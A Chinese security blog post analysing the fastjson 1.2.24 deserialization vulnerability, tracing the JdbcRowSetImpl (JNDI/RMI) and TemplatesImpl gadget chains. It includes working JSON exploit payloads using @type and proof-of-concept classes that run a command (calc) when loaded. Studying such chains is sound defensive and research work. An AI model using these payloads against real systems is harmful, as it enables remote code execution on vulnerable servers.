Java安全之反序列化(三)--fastjson <1.2.24

fastjson反序列化导致代码执行:
  fastjson是由alibaba的工程师开发的一个开源json处理框架,使java对象和json数据可以相互转换,其应用十分广泛,我们先来看看fastjson 1.2.24版本的反序列化漏洞。ps:fastjson实例化java对象并不使用原生的readObject,而是自己实现了一套反序列化流程。
  先来看看fastjson简单用法,首先创建一个User类,并重写toString()函数。
package fastjsontest;

public class User {
    private int age;
    private String name;
    private String position;
    public User() {
        System.out.println("无参构造器被调用");
    }
    public int getAge() {
        return this.age;
    }
    public String getName() {
        return this.name;
    }
    public String getPosition() {
        return this.position;
    }
    public void setAge(int age) {
        this.age=age;
    }
    public void setName(String name) {
        this.name=name;
    }
    public void setPosition(String position) {
        this.position=position;
    }
    public String toString() {
        return "name: "+name+";age: "+age+";position: "+position;
    }
}
  fastjson还原Object方法有两个,一个是JSON.parseObject(),这个方法返回的是JSON对象,并不是原java对象。另一个是JSON.parse(),这个方法返回的是一个Object,可以使用强制类型转换到原对象。(JSON.parseObject(String , class)方法也可以直接实例化对象,两者的区别在于,parse的实例化对象class来自@type字段,parseObject(String,class)的实例化对象class来自参数。)不多BB,直接看实现代码。
package fastjsontest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class FastMain {
    public static void main(String[] args){
        //定义json字符串,@type字段指定还原成何种类型对象
        String myJson="{\"@type\":\"fastjsontest.User\",\"age\":20,\"name\":\"小鬼\",\"position\":\"student\"}";
        JSONObject user1=JSON.parseObject(myJson);//这里返回的是一个Json对象
        System.out.println(user1);
        User user2=JSON.parseObject(myJson,User.class);//返回User对象
        System.out.println(user2);
        User user3=(User) JSON.parse(myJson);//将对象强制类型转换成User对象
        System.out.println(user3);
    }
}

  从输出可以看出来三个方法的区别

   fastjson在解析json的过程中,支持使用@type来反序列化某个具体的类,并调用该类的set/get方法来设置和访问属性。(fastjson 1.2.24以前默认@type可以指定任意类进行实例化。)
 fastjson 1.2.24:
  我们来看一下相对简单的JdbcRowSetImpl利用链,前面提到了JNDI可以通过lookup函数加载远程对象,而我们在JdbcRowSetImpl中找到了lookup函数的调用,在connect()函数中。
 
  而lookup函数的参数来自于getDataSourceName(),代码如下(在其父类的代码中,并未重写)
  也就是直接返回dataSource属性,而我们继续跟进可以发现这个dataSource属性是可以set的
  接下来去寻找哪些地方调用了connect()函数,根据前辈指引,看一下setAutoCommit函数
  setAutoCommit函数递归调用自身设置autoCommit属性的值,并且调用了connect方法,现在来梳理一下利用链,先调用setDataSource,然后调用setAutoCommit属性,此时会调用connect函数,然后调用lookup函数加载远程恶意对象。
  fastjson在将对象实例化的过程中,不通过构造器设置对象属性(但会调用这个类的无参构造器),而是调用对象的set/get方法(不同的实例化方式下get方法调用情况会有所不同,而且get方法调用情况比较复杂,但set方法都会全部调用),演示如下,在所有set/get方法中添加输出。

运行之前的还原对象的代码,我们可以看见,当字符串转换为Json对象时,会调用所有的set/get方法。而将字符串转换为User对象时会调用所有set方法,没有看见get方法被调用(get方法调用情况比较复杂)

既然无论哪种方式转换对象时都会调用set方法,我们就可以构造poc了。

public class Poc{
    public Poc(){
        try{
            Runtime.getRuntime().exec("clac");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] args){
        Poc p=new Poc();
    }
}

上面是要远程加载的包含恶意代码的Poc类,下面是需要解析的json字符串。

String poc="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Poc\",\"autoCommit\":true}";
  需要注意的是,dataSourceName要先于autoCommit传递,这样才能加载我们的远程恶意类。Java远程调用的基础请参考         Java安全之反序列化(一)--基础篇
  不过想要复现这个漏洞需要注意jdk版本问题,部分jdk版本已将JNDI注入问题修复。
  我们再来看看TemplatesImpl这条链,这条链的利用需要Feature.SupportNonPublicField,因为当需要实例化的对象的某一属性是由private修饰并且没有提供set方法的时候,fastjson默认对这个属性不会进行反序列化,因此我们需要使用Feature.SupportNonPublicField来使得private变量得以赋值(如下),至于为什么后面会讲。
User user2=JSON.parseObject(poc,User.class,Feature.SupportNonPublicField);

  这里我们先来直接看要进行实例化的json字符串。

String poc="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"poc.class_to_base64\"],'_name':'小鬼','_tfactory':{ },\"_outputProperties\":{ }}";

  前面说到,fastjson在实例化对象的时候会调用所有的set方法,但是get方法并不一定会调用,根据前辈总结,被实例化对象的get方法需要满足以下条件时才会在实例化时被调用:

    1.get方法名称长度大于4

    2.非static关键词修饰

    3.以get开头且第四个字符是大写字母

    4.无参数传入

    5.继承自 Collection || Map || AtomicBoolean|| AtomicInteger || AtomicLong

     6.此get方法的属性不能有set方法
  有兴趣的话可以去看fastjson的源码。而TemplatesImpl类的getOutputProperties方法恰好满足上面的要求,这个getOutputProperties方法就是这条利用链的入口,我们看看函数代码。PS:fastjson在处理get方法的时候,有个smartMatch函数,这个函数会将下划线替换掉。
  可以看见调用了newTransformer()方法,我们跟一下这个方法。
 
  可以看见是创建一个TransformerImpl对象并返回,并且在构造器中调用了getTransletInstance()
 
 这里可以看见先对this._name判断了一下,所以在poc中要对name赋值。然后是调用了defineTransletClasses()函数,我们跟进一下这个函数。
  这里调用了transletClassLoader.defineClass来加载恶意对象字节码,然后调用getSuperclass()方法来获取父类,接着clazz.getName().equals来判断父类是不是AbstractTranslet类。如果是的话,就给_transletIndex赋值,这个赋值后面会调用到。然后我们再返回刚才的getTransletInstance函数。
这里我们看见接下来就是通过this._calss[this._transletIndex].newInstance()直接创建恶意对象实例,创建实例的时候会直接调用恶意对象的无参构造器。我们看一下前辈给出的恶意poc的代码
package fanxuliehua;

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Poc extends AbstractTranslet {
    public Poc() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    //重写父类方法
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler){};
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {};
    
    public static void main(String[] args) throws Exception{
        Poc p = new Poc();
    }
}
  恶意poc必须继承AbstractTranslet类,这样_transletIndex才可以获得赋值,并且重写一下父类方法。然后把class文件字节码base64一下再填入要解析的json字符串中(fastjson提取byte[]数组时会进行base64解码),接着再用JSON.parseObject实例化对象就可以复现了。

 poc中的_tfactory参数在defineTransletClasses中会调用_tfactory.getExternalExtensionsMap()方法。所以_tfactory也不可以为null,否则会报错。
 
箭头这里的TransletClassLoader这个构造器网上的代码是有两个参数的,第二个参数就调用了_tfactory,但是我这里的JDK版本这里有点不一样,下面是网上的代码:
  _tfactory的使用在不同jdk情况下有所不同,可以参考https://xz.aliyun.com/t/6884中对jdk版本的描述
  这条链比上一条链稍微复杂一点,不过没有JDK版本的限制。
 
 
 
 
 
 
 
 
 


posted @ 2020-11-25 15:08  学安全的小鬼  阅读(445)  评论(0编辑  收藏  举报